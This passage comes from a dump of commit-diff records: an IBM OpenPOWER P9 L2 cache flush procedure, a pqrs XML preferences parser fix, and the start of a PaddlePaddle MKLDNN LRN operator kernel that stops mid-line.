i_regAddr Purge engine register SCOM address\n\/\/\/ @return FAPI2_RC_SUCCESS if engine status returns as idle (with no errors)\n\/\/\/         before maximum number of polls has been reached\n\/\/\/         RC_P9_L2_FLUSH_CMD_ERROR\n\/\/\/              if purge command error reported,\n\/\/\/         RC_P9_L2_FLUSH_CMD_TIMEOUT\n\/\/\/              if purge operation did not complete prior to polling limit,\n\/\/\/         else FAPI getscom\/putscom return code for failing operation\n\/\/\/\n\/\/------------------------------------------------------------------------------\nfapi2::ReturnCode l2_flush_check_status(\n    const fapi2::Target<fapi2::TARGET_TYPE_EX>& i_target,\n    const uint32_t i_regAddr)\n{\n    fapi2::buffer<uint64_t> l_cmdReg;\n    uint32_t l_polls = 1;\n\n    FAPI_INF(\"l2_flush_check_status: Enter\");\n\n    while(1)\n    {\n        \/\/ poll Purge Engine status\n        FAPI_DBG(\"Reading L2 Purge Engine Command Register to check status\");\n        FAPI_TRY(fapi2::getScom(i_target, i_regAddr, l_cmdReg));\n\n        \/\/ check state of PURGE_CMD_ERR\n        FAPI_ASSERT(!l_cmdReg.getBit<PURGE_CMD_ERR_BIT>(),\n                    fapi2::P9_L2_FLUSH_CMD_ERROR()\n                    .set_TARGET(i_target)\n                    .set_CMD_REG(l_cmdReg)\n                    .set_CMD_REG_ADDR(i_regAddr),\n                    \"Purge failed. PURGE_CMD_ERR_BIT set\");\n\n        \/\/ check to see if this reg is idle and ready to accept a new command\n        if (!l_cmdReg.getBit<PURGE_CMD_REG_BUSY>())\n        {\n            FAPI_DBG(\"Purge engine idle\");\n            break;\n        }\n\n        \/\/ engine busy, dump status\n        FAPI_DBG(\"Purge engine busy (reg_busy = %d, busy_on_this = %d,\"\n                 \" sm_busy = %d)\",\n                 l_cmdReg.getBit<PURGE_CMD_REG_BUSY>(),\n                 l_cmdReg.getBit<PURGE_CMD_PRGSM_BUSY_ON_THIS_BIT>(),\n                 l_cmdReg.getBit<PURGE_CMD_PRGSM_BUSY_BIT>());\n\n        \/\/ check if loop count has expired\n        FAPI_ASSERT((l_polls < P9_L2_FLUSH_MAX_POLLS),\n                    fapi2::P9_L2_FLUSH_CMD_TIMEOUT()\n                    .set_TARGET(i_target)\n                    .set_CMD_REG(l_cmdReg)\n                    .set_CMD_REG_ADDR(i_regAddr)\n                    .set_NUMBER_OF_ATTEMPTS(l_polls),\n                    \"Purge engine still busy after %d loops\", l_polls);\n\n        \/\/ l_polls left, delay prior to next poll\n        FAPI_DBG(\"%d loops done, delaying before next poll\", l_polls);\n\n        FAPI_TRY(fapi2::delay(P9_L2_FLUSH_HW_NS_DELAY,\n                              P9_L2_FLUSH_SIM_CYCLE_DELAY),\n                 \"fapi delay Error\");\n\n        l_polls++;\n    }\n\nfapi_try_exit:\n    return fapi2::current_err;\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Hardware Procedure\n\/\/------------------------------------------------------------------------------\nfapi2::ReturnCode p9_l2_flush(const fapi2::Target < fapi2::TARGET_TYPE_EX >\n                              & i_target,\n                              const p9core::purgeData_t& i_purgeData)\n{\n    FAPI_DBG(\"i_purgeData.iv_cmdType: 0x%x\", i_purgeData.iv_cmdType);\n    FAPI_DBG(\"i_purgeData.iv_cmdMem : 0x%x\", i_purgeData.iv_cmdMem);\n    FAPI_DBG(\"i_purgeData.iv_cmdBank: 0x%x\", i_purgeData.iv_cmdBank);\n    FAPI_DBG(\"i_purgeData.iv_cmdCGC : 0x%x\", i_purgeData.iv_cmdCGC);\n\n    uint32_t l_regAddr = 0;\n    uint8_t l_platform = 0;\n\n    \/\/Get the scom address to use for this platform\n    const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM> FAPI_SYSTEM;\n    FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_EXECUTION_PLATFORM,\n                           FAPI_SYSTEM,\n                           l_platform),\n             \"Error from FAPI_ATTR_GET for attribute ATTR_EXECUTION_PLATFORM\");\n\n    if( l_platform == fapi2::ENUM_ATTR_EXECUTION_PLATFORM_FSP )\n    {\n        l_regAddr = EX_PRD_PURGE_CMD_REG;\n    }\n    else\n    {\n        FAPI_ASSERT(false,\n                    fapi2::P9_L2_FLUSH_UNKNOWN_PLATFORM()\n                    .set_TARGET(i_target)\n                    .set_PLATFORM(l_platform),\n                    \"Unsupported l_platform %d\", l_platform);\n    }\n\n    \/\/ initiate flush\n    FAPI_TRY(l2_flush_start(i_target, l_regAddr, i_purgeData));\n\n    \/\/ check that flush completes and the purge engine is idle\n    \/\/ before exiting\n    FAPI_TRY(l2_flush_check_status(i_target, l_regAddr));\n\nfapi_try_exit:\n    FAPI_INF(\"l2_flush, Ex: Exit\");\n    return fapi2::current_err;\n}\n<commit_msg>SBE Compile Issues fixed<commit_after>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_l2_flush.C $       *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n\/\/\/\n\/\/\/ @file p9_l2_flush.H\n\/\/\/ @brief Flush the P9 L2 cache (FAPI)\n\/\/\/\n\/\/\/ *HWP HWP Owner   : Benjamin Gass <bgass@us.ibm.com>\n\/\/\/ *HWP FW Owner    : Bilicon Patil  <bilpatil@in.ibm.com>\n\/\/\/ *HWP Team        : Quad\n\/\/\/ *HWP Consumed by : FSP\n\/\/\/ *HWP Level       : 2\n\/\/\/\n\n\/\/------------------------------------------------------------------------------\n\/\/ Includes\n\/\/------------------------------------------------------------------------------\n#include <p9_quad_scom_addresses.H>\n#include <p9_l2_flush.H>\n\n\/\/------------------------------------------------------------------------------\n\/\/ Constant definitions\n\/\/------------------------------------------------------------------------------\n\n\/\/ L2 Purge Engine Command Register bit\/field definitions\nenum\n{\n    PURGE_CMD_TRIGGER_BIT            = 0,\n    PURGE_CMD_REG_BUSY               = 9,\n    PURGE_CMD_PRGSM_BUSY_ON_THIS_BIT = 10,\n    PURGE_CMD_PRGSM_BUSY_BIT         = 11,\n    PURGE_CMD_ERR_BIT                = 29,\n    PURGE_CMD_TYPE_BIT               = 1,\n    PURGE_CMD_MEM_BIT                = 17,\n    PURGE_CMD_BANK_BIT               = 28,\n    PURGE_CMD_CGC_BIT                = 20\n};\n\n\/\/ L2 Purge Engine Command Register bit\/field Lengths\nenum\n{\n    PURGE_CMD_TYPE_BIT_LENGTH   = 4,\n    PURGE_CMD_MEM_BIT_LENGTH    = 3,\n    PURGE_CMD_BANK_BIT_LENGTH   = 1,\n    PURGE_CMD_CGC_BIT_LENGTH    = 8\n};\n\n\/\/ polling constants\nenum\n{\n    P9_L2_FLUSH_HW_NS_DELAY     = 10000, \/\/ unit is nano seconds\n    P9_L2_FLUSH_SIM_CYCLE_DELAY = 12000, \/\/ unit is cycles\n    P9_L2_FLUSH_MAX_POLLS       = 200    \/\/ unit is cycles\n};\n\n\/\/------------------------------------------------------------------------------\n\/\/ Function definitions\n\/\/------------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @brief l2_flush_start: Utility subroutine to initiate L2 cache flush\n\/\/\/                        via purge engine\n\/\/\/ @param[in]  i_target Ex target\n\/\/\/ @param[in]  i_regAddr The scom address to use\n\/\/\/ @param[in]  i_purgeData Structure having values for MEM, CGC, BANK\n\/\/\/                         passed by the user\n\/\/\/ @return  FAPI2_RC_SUCCESS if purge operation was started,\n\/\/\/          RC_P9_L2_FLUSH_PURGE_REQ_OUTSTANDING if a prior purge\n\/\/\/          operation has not yet completed\n\/\/\/          else FAPI getscom\/putscom return code for failing operation\n\/\/------------------------------------------------------------------------------\nfapi2::ReturnCode l2_flush_start(\n    const fapi2::Target<fapi2::TARGET_TYPE_EX>& i_target,\n    const uint32_t i_regAddr,\n    const p9core::purgeData_t& i_purgeData)\n{\n    fapi2::buffer<uint64_t> l_cmdReg;\n    fapi2::buffer<uint64_t> l_purgeCmd;\n\n    FAPI_INF(\"l2_flush_start: Enter\");\n\n    \/\/ ensure that purge engine is idle before starting flush\n    \/\/ poll Purge Engine status\n    FAPI_DBG(\"Reading L2 Purge Engine Command Register to check status\");\n    FAPI_TRY(fapi2::getScom(i_target, i_regAddr, l_cmdReg));\n\n    \/\/ check to see if this reg is idle and ready to accept a new command\n    FAPI_ASSERT(!l_cmdReg.getBit<PURGE_CMD_REG_BUSY>(),\n                fapi2::P9_L2_FLUSH_PURGE_REQ_OUTSTANDING()\n                .set_TARGET(i_target)\n                .set_CMD_REG(l_cmdReg)\n                .set_CMD_REG_ADDR(i_regAddr),\n                \"Previous purge request has not completed for target\");\n\n    \/\/ write PURGE_CMD_TRIGGER bit in Purge Engine Command Register\n    \/\/ ensure PURGE_CMD_TYPE\/MEM\/CGC\/BANK are clear to specify flush\n    \/\/ of entire cache\n    FAPI_DBG(\"Write L2 Purge Engine Command Register to initiate cache flush\");\n    l_purgeCmd.insert<PURGE_CMD_TYPE_BIT,\n                      PURGE_CMD_TYPE_BIT_LENGTH>(i_purgeData.iv_cmdType);\n\n    l_purgeCmd.insert<PURGE_CMD_MEM_BIT,\n                      PURGE_CMD_MEM_BIT_LENGTH>(i_purgeData.iv_cmdMem);\n\n    l_purgeCmd.insert<PURGE_CMD_BANK_BIT,\n                      PURGE_CMD_BANK_BIT_LENGTH>(i_purgeData.iv_cmdBank);\n\n    l_purgeCmd.insert<PURGE_CMD_CGC_BIT,\n                      PURGE_CMD_CGC_BIT_LENGTH>(i_purgeData.iv_cmdCGC);\n\n    l_purgeCmd.setBit<PURGE_CMD_TRIGGER_BIT>();\n\n    FAPI_TRY(fapi2::putScom(i_target, i_regAddr, l_purgeCmd));\n\nfapi_try_exit:\n    return fapi2::current_err;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @brief l2_flush_check_status: Utility subroutine to poll L2 purge\n\/\/\/                                    engine status, looking for clean idle\n\/\/\/                                    state\n\/\/\/ @param[in] i_target EX chiplet target\n\/\/\/ @param[in] i_regAddr Purge engine register SCOM address\n\/\/\/ @return FAPI2_RC_SUCCESS if engine status returns as idle (with no errors)\n\/\/\/         before maximum number of polls has been reached\n\/\/\/         RC_P9_L2_FLUSH_CMD_ERROR\n\/\/\/              if purge command error reported,\n\/\/\/         RC_P9_L2_FLUSH_CMD_TIMEOUT\n\/\/\/              if purge operation did not complete prior to polling limit,\n\/\/\/         else FAPI getscom\/putscom return code for failing operation\n\/\/\/\n\/\/------------------------------------------------------------------------------\nfapi2::ReturnCode l2_flush_check_status(\n    const fapi2::Target<fapi2::TARGET_TYPE_EX>& i_target,\n    const uint32_t i_regAddr)\n{\n    fapi2::buffer<uint64_t> l_cmdReg;\n    uint32_t l_polls = 1;\n\n    FAPI_INF(\"l2_flush_check_status: Enter\");\n\n    while(1)\n    {\n        \/\/ poll Purge Engine status\n        FAPI_DBG(\"Reading L2 Purge Engine Command Register to check status\");\n        FAPI_TRY(fapi2::getScom(i_target, i_regAddr, l_cmdReg));\n\n        \/\/ check state of PURGE_CMD_ERR\n        FAPI_ASSERT(!l_cmdReg.getBit<PURGE_CMD_ERR_BIT>(),\n                    fapi2::P9_L2_FLUSH_CMD_ERROR()\n                    .set_TARGET(i_target)\n                    .set_CMD_REG(l_cmdReg)\n                    .set_CMD_REG_ADDR(i_regAddr),\n                    \"Purge failed. PURGE_CMD_ERR_BIT set\");\n\n        \/\/ check to see if this reg is idle and ready to accept a new command\n        if (!l_cmdReg.getBit<PURGE_CMD_REG_BUSY>())\n        {\n            FAPI_DBG(\"Purge engine idle\");\n            break;\n        }\n\n        \/\/ engine busy, dump status\n        FAPI_DBG(\"Purge engine busy (reg_busy = %d, busy_on_this = %d,\"\n                 \" sm_busy = %d)\",\n                 l_cmdReg.getBit<PURGE_CMD_REG_BUSY>(),\n                 l_cmdReg.getBit<PURGE_CMD_PRGSM_BUSY_ON_THIS_BIT>(),\n                 l_cmdReg.getBit<PURGE_CMD_PRGSM_BUSY_BIT>());\n\n        \/\/ check if loop count has expired\n        FAPI_ASSERT((l_polls < P9_L2_FLUSH_MAX_POLLS),\n                    fapi2::P9_L2_FLUSH_CMD_TIMEOUT()\n                    .set_TARGET(i_target)\n                    .set_CMD_REG(l_cmdReg)\n                    .set_CMD_REG_ADDR(i_regAddr)\n                    .set_NUMBER_OF_ATTEMPTS(l_polls),\n                    \"Purge engine still busy after %d loops\", l_polls);\n\n        \/\/ l_polls left, delay prior to next poll\n        FAPI_DBG(\"%d loops done, delaying before next poll\", l_polls);\n\n        FAPI_TRY(fapi2::delay(P9_L2_FLUSH_HW_NS_DELAY,\n                              P9_L2_FLUSH_SIM_CYCLE_DELAY),\n                 \"fapi delay Error\");\n\n        l_polls++;\n    }\n\nfapi_try_exit:\n    return fapi2::current_err;\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Hardware Procedure\n\/\/------------------------------------------------------------------------------\nfapi2::ReturnCode p9_l2_flush(const fapi2::Target < fapi2::TARGET_TYPE_EX >\n                              & i_target,\n                              const p9core::purgeData_t& i_purgeData)\n{\n    FAPI_DBG(\"i_purgeData [iv_cmdType: 0x%x] [iv_cmdMem : 0x%x] \"\n             \"[iv_cmdBank: 0x%x] [iv_cmdCGC : 0x%x]\", i_purgeData.iv_cmdType,\n             i_purgeData.iv_cmdMem, i_purgeData.iv_cmdBank, i_purgeData.iv_cmdCGC);\n\n    uint32_t l_regAddr = EX_PRD_PURGE_CMD_REG;\n\n    \/\/ initiate flush\n    FAPI_TRY(l2_flush_start(i_target, l_regAddr, i_purgeData));\n\n    \/\/ check that flush completes and the purge engine is idle\n    \/\/ before exiting\n    FAPI_TRY(l2_flush_check_status(i_target, l_regAddr));\n\nfapi_try_exit:\n    FAPI_INF(\"l2_flush, Ex: Exit\");\n    return fapi2::current_err;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <boost\/algorithm\/string.hpp>\n#include \"pqrs\/xml_compiler.hpp\"\n\nnamespace pqrs {\n  xml_compiler::preferences_node::preferences_node(void) :\n    name_line_count_(0)\n  {}\n\n  bool\n  xml_compiler::preferences_node::handle_name_and_appendix(const boost::property_tree::ptree::value_type& it)\n  {\n    if (it.first == \"name\") {\n      name_ += boost::trim_copy(it.second.data());\n      name_ += \"\\n\";\n\n      ++name_line_count_;\n\n      return true;\n\n    } else if (it.first == \"appendix\") {\n      name_ += \"  \";\n      name_ += boost::trim_copy(it.second.data());\n      name_ += \"\\n\";\n\n      ++name_line_count_;\n\n      return true;\n    }\n\n    return false;\n  }\n\n  xml_compiler::preferences_checkbox_node::preferences_checkbox_node(void)\n  {}\n\n  xml_compiler::preferences_checkbox_node::preferences_checkbox_node(const preferences_checkbox_node& parent) :\n    name_for_filter_(parent.name_for_filter_ + \" \")\n  {}\n\n  bool\n  xml_compiler::preferences_checkbox_node::handle_item_child(const boost::property_tree::ptree::value_type& it)\n  {\n    if (preferences_node::handle_name_and_appendix(it)) {\n      name_for_filter_ += boost::algorithm::to_lower_copy(boost::trim_copy(it.second.data()));\n      name_for_filter_ += \" \";\n\n      return true;\n    }\n    if (it.first == \"identifier\") {\n      identifier_ = boost::trim_copy(it.second.data());\n      return true;\n    }\n    return false;\n  }\n\n  xml_compiler::preferences_number_node::preferences_number_node(void) :\n    default_value_(0),\n    step_(1)\n  {}\n\n  xml_compiler::preferences_number_node::preferences_number_node(const preferences_number_node& \/*parent*\/) :\n    preferences_number_node()\n  {}\n\n  bool\n  xml_compiler::preferences_number_node::handle_item_child(const boost::property_tree::ptree::value_type& it)\n  {\n    if (preferences_node::handle_name_and_appendix(it)) {\n      return true;\n    }\n    if (it.first == \"identifier\") {\n      identifier_ = boost::trim_copy(it.second.data());\n\n      \/\/ default\n      {\n        auto value = it.second.get_optional<std::string>(\"<xmlattr>.default\");\n        if (value) {\n          auto v = pqrs::string::to_uint32_t(boost::trim_copy(*value));\n          if (v) {\n            default_value_ = *v;\n          }\n        }\n      }\n      \/\/ step\n      {\n        auto value = it.second.get_optional<std::string>(\"<xmlattr>.step\");\n        if (value) {\n          auto v = pqrs::string::to_uint32_t(boost::trim_copy(*value));\n          if (v) {\n            step_ = *v;\n          }\n        }\n      }\n      \/\/ baseunit\n      {\n        auto value = it.second.get_optional<std::string>(\"<xmlattr>.baseunit\");\n        if (value) {\n          base_unit_ = boost::trim_copy(*value);\n        }\n      }\n\n      return true;\n    }\n\n    return false;\n  }\n\n  template <class T>\n  void\n  xml_compiler::preferences_node_tree<T>::clear(void)\n  {\n    if (children_) {\n      children_->clear();\n    }\n  }\n\n  template <class T>\n  void\n  xml_compiler::preferences_node_tree<T>::traverse_item(const boost::property_tree::ptree& pt)\n  {\n    for (auto& it : pt) {\n      if (it.first != \"item\") {\n        traverse_item(it.second);\n\n      } else {\n        preferences_node_tree_ptr ptr(new preferences_node_tree(node_));\n\n        for (auto& child : it.second) {\n          if ((ptr->node_).handle_item_child(child)) {\n            continue;\n          }\n          ptr->traverse_item(child.second);\n        }\n\n        if (! children_) {\n          children_ = preferences_node_tree_ptrs_ptr(new preferences_node_tree_ptrs());\n        }\n        children_->push_back(ptr);\n      }\n    }\n  }\n\n  void\n  xml_compiler::reload_preferences_(void)\n  {\n    preferences_checkbox_node_tree_.clear();\n    preferences_number_node_tree_.clear();\n\n    \/\/ checkbox\n    {\n      std::vector<xml_file_path_ptr> xml_file_path_ptrs;\n      xml_file_path_ptrs.push_back(\n        xml_file_path_ptr(new xml_file_path(xml_file_path::base_directory::private_xml, \"private.xml\")));\n      xml_file_path_ptrs.push_back(\n        xml_file_path_ptr(new xml_file_path(xml_file_path::base_directory::system_xml,  \"checkbox.xml\")));\n\n      std::vector<ptree_ptr> pt_ptrs;\n      read_xmls_(pt_ptrs, xml_file_path_ptrs);\n\n      for (auto& pt_ptr : pt_ptrs) {\n        preferences_checkbox_node_tree_.traverse_item(*pt_ptr);\n      }\n    }\n\n    \/\/ number\n    {\n      std::vector<xml_file_path_ptr> xml_file_path_ptrs;\n      xml_file_path_ptrs.push_back(\n        xml_file_path_ptr(new xml_file_path(xml_file_path::base_directory::system_xml, \"number.xml\")));\n\n      std::vector<ptree_ptr> pt_ptrs;\n      read_xmls_(pt_ptrs, xml_file_path_ptrs);\n\n      for (auto& pt_ptr : pt_ptrs) {\n        preferences_number_node_tree_.traverse_item(*pt_ptr);\n      }\n    }\n  }\n}\n<commit_msg>adjust name_line_count<commit_after>#include <boost\/algorithm\/string.hpp>\n#include \"pqrs\/xml_compiler.hpp\"\n\nnamespace pqrs {\n  xml_compiler::preferences_node::preferences_node(void) :\n    name_line_count_(1)\n  {}\n\n  bool\n  xml_compiler::preferences_node::handle_name_and_appendix(const boost::property_tree::ptree::value_type& it)\n  {\n    if (it.first == \"name\") {\n      if (! name_.empty()) {\n        name_ += \"\\n\";\n        ++name_line_count_;\n      }\n      name_ += boost::trim_copy(it.second.data());\n\n      return true;\n\n    } else if (it.first == \"appendix\") {\n      if (! name_.empty()) {\n        name_ += \"\\n\";\n        ++name_line_count_;\n      }\n      name_ += \"  \";\n      name_ += boost::trim_copy(it.second.data());\n\n      return true;\n    }\n\n    return false;\n  }\n\n  xml_compiler::preferences_checkbox_node::preferences_checkbox_node(void)\n  {}\n\n  xml_compiler::preferences_checkbox_node::preferences_checkbox_node(const preferences_checkbox_node& parent) :\n    name_for_filter_(parent.name_for_filter_ + \" \")\n  {}\n\n  bool\n  xml_compiler::preferences_checkbox_node::handle_item_child(const boost::property_tree::ptree::value_type& it)\n  {\n    if (preferences_node::handle_name_and_appendix(it)) {\n      name_for_filter_ += boost::algorithm::to_lower_copy(boost::trim_copy(it.second.data()));\n      name_for_filter_ += \" \";\n\n      return true;\n    }\n    if (it.first == \"identifier\") {\n      identifier_ = boost::trim_copy(it.second.data());\n      return true;\n    }\n    return false;\n  }\n\n  xml_compiler::preferences_number_node::preferences_number_node(void) :\n    default_value_(0),\n    step_(1)\n  {}\n\n  xml_compiler::preferences_number_node::preferences_number_node(const preferences_number_node& \/*parent*\/) :\n    preferences_number_node()\n  {}\n\n  bool\n  xml_compiler::preferences_number_node::handle_item_child(const boost::property_tree::ptree::value_type& it)\n  {\n    if (preferences_node::handle_name_and_appendix(it)) {\n      return true;\n    }\n    if (it.first == \"identifier\") {\n      identifier_ = boost::trim_copy(it.second.data());\n\n      \/\/ default\n      {\n        auto value = it.second.get_optional<std::string>(\"<xmlattr>.default\");\n        if (value) {\n          auto v = pqrs::string::to_uint32_t(boost::trim_copy(*value));\n          if (v) {\n            default_value_ = *v;\n          }\n        }\n      }\n      \/\/ step\n      {\n        auto value = it.second.get_optional<std::string>(\"<xmlattr>.step\");\n        if (value) {\n          auto v = pqrs::string::to_uint32_t(boost::trim_copy(*value));\n          if (v) {\n            step_ = *v;\n          }\n        }\n      }\n      \/\/ baseunit\n      {\n        auto value = it.second.get_optional<std::string>(\"<xmlattr>.baseunit\");\n        if (value) {\n          base_unit_ = boost::trim_copy(*value);\n        }\n      }\n\n      return true;\n    }\n\n    return false;\n  }\n\n  template <class T>\n  void\n  xml_compiler::preferences_node_tree<T>::clear(void)\n  {\n    if (children_) {\n      children_->clear();\n    }\n  }\n\n  template <class T>\n  void\n  xml_compiler::preferences_node_tree<T>::traverse_item(const boost::property_tree::ptree& pt)\n  {\n    for (auto& it : pt) {\n      if (it.first != \"item\") {\n        traverse_item(it.second);\n\n      } else {\n        preferences_node_tree_ptr ptr(new preferences_node_tree(node_));\n\n        for (auto& child : it.second) {\n          if ((ptr->node_).handle_item_child(child)) {\n            continue;\n          }\n          ptr->traverse_item(child.second);\n        }\n\n        if (! children_) {\n          children_ = preferences_node_tree_ptrs_ptr(new preferences_node_tree_ptrs());\n        }\n        children_->push_back(ptr);\n      }\n    }\n  }\n\n  void\n  xml_compiler::reload_preferences_(void)\n  {\n    preferences_checkbox_node_tree_.clear();\n    preferences_number_node_tree_.clear();\n\n    \/\/ checkbox\n    {\n      std::vector<xml_file_path_ptr> xml_file_path_ptrs;\n      xml_file_path_ptrs.push_back(\n        xml_file_path_ptr(new xml_file_path(xml_file_path::base_directory::private_xml, \"private.xml\")));\n      xml_file_path_ptrs.push_back(\n        xml_file_path_ptr(new xml_file_path(xml_file_path::base_directory::system_xml,  \"checkbox.xml\")));\n\n      std::vector<ptree_ptr> pt_ptrs;\n      read_xmls_(pt_ptrs, xml_file_path_ptrs);\n\n      for (auto& pt_ptr : pt_ptrs) {\n        preferences_checkbox_node_tree_.traverse_item(*pt_ptr);\n      }\n    }\n\n    \/\/ number\n    {\n      std::vector<xml_file_path_ptr> xml_file_path_ptrs;\n      xml_file_path_ptrs.push_back(\n        xml_file_path_ptr(new xml_file_path(xml_file_path::base_directory::system_xml, \"number.xml\")));\n\n      std::vector<ptree_ptr> pt_ptrs;\n      read_xmls_(pt_ptrs, xml_file_path_ptrs);\n\n      for (auto& pt_ptr : pt_ptrs) {\n        preferences_number_node_tree_.traverse_item(*pt_ptr);\n      }\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserve.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License. *\/\n\n#include \"paddle\/fluid\/framework\/tensor.h\"\n#include \"paddle\/fluid\/operators\/lrn_op.h\"\n#include \"paddle\/fluid\/platform\/mkldnn_helper.h\"\n\nnamespace paddle {\nnamespace operators {\n\nusing paddle::framework::Tensor;\nusing paddle::platform::MKLDNNDeviceContext;\n\nnamespace {\ntemplate <typename T, typename... Args>\nstd::shared_ptr<T> insert_to_context(const std::string& key,\n                                     const MKLDNNDeviceContext& dev_ctx,\n                                     Args&&... args) {\n  auto p = std::static_pointer_cast<T, void>(dev_ctx.GetBlob(key));\n\n  if (!p) {\n    p = std::make_shared<T>(args...);\n    dev_ctx.SetBlob(key, std::static_pointer_cast<void, T>(p));\n  }\n\n  return p;\n}\n\ntemplate <typename... Args>\nvoid run_primitive(Args&&... args) {\n  auto forward_op = mkldnn::lrn_forward{args...};\n\n  std::vector<mkldnn::primitive> pipeline = {forward_op};\n  mkldnn::stream(mkldnn::stream::kind::eager).submit(pipeline).wait();\n}\n}  \/\/ namespace\n\ntemplate <typename T>\nclass LRNMKLDNNOpKernel : public paddle::framework::OpKernel<T> {\n public:\n  void Compute(const paddle::framework::ExecutionContext& ctx) const override {\n    bool is_float_type = std::is_same<T, float>::value;\n    PADDLE_ENFORCE(is_float_type, \"MKLDNN LRN must use float data.\");\n    PADDLE_ENFORCE(paddle::platform::is_cpu_place(ctx.GetPlace()),\n                   \"MKLDNN LRN must use CPUPlace.\");\n\n    auto& dev_ctx = ctx.template device_context<MKLDNNDeviceContext>();\n    const auto& mkldnn_engine = dev_ctx.GetEngine();\n\n    auto x = ctx.Input<Tensor>(\"X\");\n    auto out = ctx.Output<Tensor>(\"Out\");\n    auto mid = ctx.Output<Tensor>(\"MidOut\");\n\n    auto input_data = x->data<T>();\n    auto output_data = out->mutable_data<T>(ctx.GetPlace());\n    mid->mutable_data<T>(ctx.GetPlace());\n\n    const int n = ctx.Attr<int>(\"n\");\n    const float alpha = ctx.Attr<float>(\"alpha\");\n    const float beta = ctx.Attr<float>(\"beta\");\n    const float k = ctx.Attr<float>(\"k\");\n    const bool is_test = ctx.Attr<bool>(\"is_test\");\n\n    auto e_mid = framework::EigenTensor<T, 4>::From(*mid);\n    e_mid = e_mid.constant(k);\n\n    auto dims = paddle::framework::vectorize2int(x->dims());\n\n    auto src_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto dst_md = paddle::platform::MKLDNNMemDesc(\n        dims, mkldnn::memory::data_type::f32, mkldnn::memory::format::nchw);\n\n    auto forward_desc = mkldnn::lrn_forward::desc{mkldnn::prop_kind::forward,\n                                                  mkldnn::lrn_across_channels,\n                                                  src_md,\n                                                  n,\n                                                  alpha,\n                                                  beta,\n                                                  k};\n\n    auto src_memory_pd = mkldnn::memory::primitive_desc{src_md, mkldnn_engine};\n    auto dst_memory = mkldnn::memory{{dst_md, mkldnn_engine},\n                                     static_cast<void*>(output_data)};\n\n    if (!is_test) {\n      const std::string key = ctx.op().Output(\"Out\");\n      const std::string key_src_memory = key + \"@lrn_src_memory\";\n      const std::string key_pd = key + \"@lrn_pd\";\n      const std::string key_workspace_memory = key + \"@lrn_workspace_memory\";\n\n      auto forward_pd = insert_to_context<mkldnn::lrn_forward::primitive_desc>(\n          key_pd, dev_ctx, forward_desc, mkldnn_engine);\n\n      auto src_memory = insert_to_context<mkldnn::memory>(\n          key_src_memory, dev_ctx, src_memory_pd);\n\n      src_memory->set_data_handle(\n          static_cast<void*>(const_cast<T*>(input_data)));\n\n      auto workspace_memory = insert_to_context<mkldnn::memory>(\n          key_workspace_memory, dev_ctx,\n          forward_pd->workspace_primitive_desc());\n\n      run_primitive(*forward_pd, *src_memory, *workspace_memory, dst_memory);\n    } else {\n      auto forward_pd =\n          mkldnn::lrn_forward::primitive_desc{forward_desc, mkldnn_engine};\n      auto src_memory = mkldnn::memory{\n          src_memory_pd, static_cast<void*>(const_cast<T*>(input_data))};\n      auto workspace_memory =\n          mkldnn::memory{forward_pd.workspace_primitive_desc()};\n\n      run_primitive(forward_pd, src_memory, workspace_memory, dst_memory);\n    }\n  }\n};\n\ntemplate <typename T>\nclass LRNMKLDNNGradOpKernel : public paddle::framework::OpKernel<T> {\n public:\n  void Compute(const paddle::framework::ExecutionContext& ctx) const override {\n    PADDLE_ENFORCE(std::is_same<T, float>::value,\n                   \"MKLDNN LRN must use float data.\");\n    PADDLE_ENFORCE(paddle::platform::is_cpu_place(ctx.GetPlace()),\n                   \"MKLDNN LRN must use CPUPlace.\");\n    PADDLE_ENFORCE(\n        !ctx.Attr<bool>(\"is_test\"),\n        \"is_test attribute should be set to False in training phase.\");\n\n    auto x = ctx.Input<Tensor>(\"X\");\n\n    auto out_grad = ctx.Input<Tensor>(framework::GradVarName(\"Out\"));\n    auto x_grad = ctx.Output<Tensor>(framework::GradVarName(\"X\"));\n\n    const std::string key = ctx.op().Input(\"Out\");\n    const std::string key_src_memory = key + \"@lrn_src_memory\";\n    const std::string key_pd = key + \"@lrn_pd\";\n    const std::string key_workspace_memory = key + \"@lrn_workspace_memory\";\n\n    const int n = ctx.Attr<int>(\"n\");\n    const float alpha = ctx.Attr<float>(\"alpha\");\n    const float beta = ctx.Attr<float>(\"beta\");\n    const float k = ctx.Attr<float>(\"k\");\n\n    auto& dev_ctx = 